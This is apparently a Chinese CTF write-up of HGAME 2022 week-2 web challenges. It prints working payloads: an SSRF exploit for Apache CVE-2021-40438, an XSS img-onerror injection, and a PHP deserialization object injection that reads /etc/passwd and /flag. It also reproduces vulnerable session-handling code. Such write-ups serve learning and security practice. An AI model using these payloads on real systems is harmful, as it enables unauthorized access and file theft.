hgame第二周总结

1.webpack-engine

我不懂,但是真的刚打开就出来了,一脸懵逼(wp说是sourcemap没关


hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

2.Apache!

CVE-2021-40438复现,ssrf攻击

先搭一个环境




然后进入反代理的页面

然后bp发包


上面这个不对,502,503什么的错误


2021 年 Apache 的 mod_proxy 模块报了个 SSRF 漏洞(CVE-2021-40438),利用这个漏洞直接访问 http://internal.host/flag 即可拿到 flag 。

唯一不同是,网上的 exp 大多是 Apache 直接作为代理服务器的情况,这题给了 Apache 的配置文件 https-vhosts.conf, '/' 提供静态资源服务, '/proxy' 提供代理服务。

payload (在漏洞环境下)

/proxy?unix:a{5000}|http://internal.host/flag

最终hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438}

3.[At0m的留言板]

找到调试器里的小提示

auth0r使用let,flag使用var(因为使用 var 可以利用 Object.keys(window)拿到全局变量 flag 的变量名,而使用let的话无法获取。

控制台验证+观察得知留言板的内容是类名元素为content来显示的

先显示出所有全局变量

document.getElementsByClassName('content')[0].innerText = Object.keys(window)

这里试了一下flag,发现不行,可能是flag的名字变形了,这里已经没有出路,试试那个公众号吧。

公众号的主要功能是将用户输入的文本在网站中以留言框的形式展现出来,说明可以执行js代码,那就将所有变量提取到文本区

先试一试是不是xss,还真是

然后使用如下语句(img是网页的图像标签,src属性是文件路径,onerror相当于用js事件控制,所以在各个浏览器都能兼容

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = Object.keys(window)">

确定变量名F149_is_Here,拿到flag

方法二:

Object.values(window)直接读取这些全局变量的内容

方法三:

由于flag定义在了一个script标签里,直接可以document.scripts读出里面内容

4.一本单词书

有内容转载三篇博客(最终payload可以有很多种

https://ethe448.github.io/2022/01/21/HGAME2022-wp/#toc-heading-21

http://www.pdsdt.lovepdsdt.com/index.php/2022/02/04/hgame2022-week2/

https://mochu.blog.csdn.net/article/details/122631962?spm=1001.2014.3001.5502

hint提示www.zip

打开看源码

首先查看最有可能存在命令执行的文件ping.php

没有,再查看admin_check.php,没有,那就login.php

显然,不允许数据的值为纯数字,所以我们要对is_numeric()进行绕过

百度了一下发现该函数可以通过十六进制绕过或者%00进行绕过,这里使用%20(即1080后面加空格进行绕过

username=adm1n
password=1080

就可以登录

如果跳转出现警告,贴一下其他大佬的做法

根据index.php,大致逻辑就是将输入的传入get.php和save.php进行处理

页面的数据处理在get.php和save.php

save.php

<?php
session_start();
include 'admin_check.php'; function encode($data): string {
$result = '';
foreach ($data as $k => $v) {
$result .= $k . '|' . serialize($v);
} return $result;
} function saveSessionData() {
$filename = "/tmp/".$_SESSION['unique_key'].'.session';
$data = json_decode(file_get_contents("php://input"));
$str = encode($data);
file_put_contents($filename, $str, FILE_APPEND);
} if ($_SERVER['REQUEST_METHOD'] == 'POST') {
saveSessionData();
} else {
echo 'method not allowed';
}

将传入的单词的key和value写入文件中,并利用|来将key和value的序列化之后的值分隔。

encode函数比较直观,是对我们的数据进行序列化存储,saveSessionData主要是获取数据同时调用encode函数将数据存储到指定位置,该文件是由登陆时产生的key进行命名的,调试一下经过encode传输的数据,数据将我们value进行序列化存储了

get.php

<?php
session_start();
include 'admin_check.php';
include 'evil.php'; // flag is in /flag function decode(string $data): Array {
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length) {
if (!strstr(substr($data, $offset), '|')) {
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset)); $result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
} function loadSessionData(): Array {
$filename = '/tmp/'.$_SESSION['unique_key'].'.session';
if (file_exists($filename)) {
$str = file_get_contents($filename);
return decode($str);
} else {
file_put_contents($filename, '');
return [];
}
} echo json_encode(loadSessionData());

首先文件告诉了我们flag位置,其次分析两个function,decode函数主要是对传入的数据进行反序列化输出,与刚才save.php中的encode函数互相对应,可以看到encode函数是通过“|”分割key和value的,而decode函数则是通过“|”来进行数据判断,对“|”后来的数据进行反序列化操作。这里就存在一个问题,我们可以通过传输数据中添加“|”以此来利用decode函数的反序列化进行执行,同时查看evil.php发现了获取flag的点

看一下evil.php

看见wakeup方法,再联系get.php时的unserialize可以猜测这里是要利用反序列化让file=/flag然后令flag变量的值变为flag再利用get.php将其读出来

这里要注意序列化的内容要在填在单词的位置,将其作为数组的key而不是value,否则在encode函数时会对value再进行一次序列化导致payload改变,无法执行反序列化操作

还要在反序列化的payload前添加|符号

让|后的部分执行decode函数中的反序列化

将evil类中的file赋值为/flag,从而让flag=/flag文件中的内容

这里的if过滤没啥用

最终paload:

{|O:4:"Evil":2:{s:4:"file";s:4:"flag";s:4:"flag";N;}

方法二:evil里面存在file_get_contents,至此我们可以利用evil.php生成payload,再通过get.php进行触发,构造payload,尝试读取文件

<?php

class Evil {
public $file="/etc/passwd";
public $flag="flag{}"; } $data=new Evil();
echo serialize($data);
//O:4:"Evil":2:{s:4:"file";s:11:"/etc/passwd";s:4:"flag";s:6:"flag{}";}

在传输数据时要注意,如果payload写在value处,会在save.php中被序列化掉,所以要将payload写入key处

{"1|O:4:\"Evil\":2:{s:4:\"file\";s:11:\"/etc/passwd\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}

访问get.php

成功获取到数据,此时修改读取文件为/flag即可获取到数据

{"1|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}

三、

官方wp:这题的核心在于 encode 和 decode 两个函数,这两个函数取自 imiphp 框架(链接),和 Session 持久化有关。

encode 函数将键值型数据编码为 键|serialize(值) 的形式,如

{"a": "1","b": "s"} 编码为 a|s:1:"1";b|s:1:"s"。

decode 函数会调用 unserialize 函数将编码后的数据恢复,具体来说就是 | 后面到下一个键名之间的内容换被传递给 unserialize 函数。

当键中包含 | 符号时,就可以注入任意的反序列化后的数据。

比如 {"a|s:2:"22";b":"2"} 这样的数据, "a|s:2:"22";b" 做为键,数据经过 encode 函数之后变为 a|s:2:"22";b|s:1:"2",decode 解码后得到的对象为 {"a":"22","b":"2"}。

通过这样的方式就可以反序列化任意类了,将 Evil 类的 file 属性设置为 /flag即可。

官方payload:{"a|O:4:"Evil":2:{s:4:"file";s:5:"/flag";s:4:"flag";N;};b":2}

下面是另一种payload:name|O:4:"Evil":1:{s:4:"file";s:5:"/flag";}

HGAME-week2-web-wp的更多相关文章

  1. ISCC的 Web——WP

    比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...

  2. 实验吧—Web——WP之 Forms

    我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...

  3. 到处抄来的SUCTF2019 web wp

    0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...

  4. [HGAME Week2] Cosmos的博客后台

    觉得这道题考察的东西比较综合而且比较简单,就写上了.因为写这篇文章的时候环境已经关闭了,所以引用了其他师傅wp的图片 本题考察了:php://filter伪协议文件包含.var_dump()输出GLO ...

  5. [HGAME] Week1 Web WriteUp

    一 .Cosmos的博客 打开题目之后,首页直接给了我们提示: 版本管理工具常用的有git和svn两种,这里提示了GitHub,考虑Git信息泄露,先访问/.git/目录考虑用Githack获取泄露信 ...

  6. 2021CISCN 华南赛区WEB wp

    CISCN 华南区域赛 太菜了 我躺平了 easy_seri <?php error_reporting(0); highlight_file(__FILE__); class Test{ pu ...

  7. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  8. 实验吧—Web——WP之 FALSE

    打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ...

  9. 实验吧—Web——WP之 Guess Next Session

    打开链接,他有给出查看原码的按钮,那么我们打开看看 在这个里面,如果GET的值等于session的就会给出flag 那么我们进行抓包改包 在输入框内随意输入一个值然后抓包 将password的值删去, ...

  10. 实验吧—Web——WP之 简单的sql注入之2

    直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...

随机推荐

  1. 总结关于spring security 使用 JWT 和 账户密码登录 整合在一起的新感悟

    (1)jwt登录拦截,需要在账户密码认证之前进行jwt认证,因此jwt拦截需要在 UsernamePasswordAuthenticationFilter 之前: (2)jwt验证通过则不需要执行账户 ...

  2. SCALA-基础知识学习(一)

    概述 本人开始学习scala的时候,是在使用和开发spark程序的时候,在此为了整理.记录和分享scala的基础知识,我写这篇关于scala的基础知识,希望与广大读者共同学习沟通进步.如果有些代码比较 ...

  3. MySQL注入点写webshell的五种方式

    0x00 写数据的前提 1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_pr ...

  4. 使用nexus搭建一个maven私有仓库

    使用nexus搭建一个maven私有仓库 大家好,我是程序员田同学.今天带大家搭建一个maven私有仓库. 很多公司都是搭建自己的Maven私有仓库,今天就带大家使用nexus搭建一个自己的私有仓库, ...

  5. 为什么char类型输入遇空格会结束,int类型必须要空格才能输出

    char类型与int类型输入时的区别: 在C语言的规则中,规定了scanf函数在接收字符串时--遇到空格或回车就认为前面的输入已经完成且有效! 而对于int类型:表示整数,输入时需要用空格隔开,以确认 ...

  6. MATLAB绘图入门

    %%%1.运算符:(1).% mean() -->平均值 1.对于一个数组,mean(数组名)则返回均值2.对于一个矩阵,mean(数组名,1或2) 1代表返回矩阵每列的平均值 2代表返回矩阵每 ...

  7. 开源数据可视化BI工具SuperSet(安装)

    本次安装教程共分两大步骤,因为Superset 基于python3编写的web应用(flask) 所以要求python3环境,故首先要将linux系统自带的环境进行升级,已经是python3的可跳过- ...

  8. (2)用Micropython将ESP32数据上云

    之前我们尝试过直接把LED点亮并且闪烁. 今天尝试一下将LED的开关状态上云,并可以通过云来进行数据下发. 数据要上云,首先开发板要联网. 首先我们会用 Python的network 库, 在netw ...

  9. Redis的过期删除策略(和内存淘汰机制)-转

    版权声明:本文为CSDN博主「奥修诺斯」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明.原文链接:https://blog.csdn.net/qq_39944869/ ...

  10. Stream流的基本介绍以及在工作中的常用操作(去重、排序以及数学运算等)

    平时工作中,我在处理集合的时候,总是会用到各种流操作,但是往往在处理一些较为复杂的集合时,还是会出现无法灵活运用api的场景,这篇文章的目的,主要是为介绍一些工作中使用流时的常用操作,例如去重.排序和 ...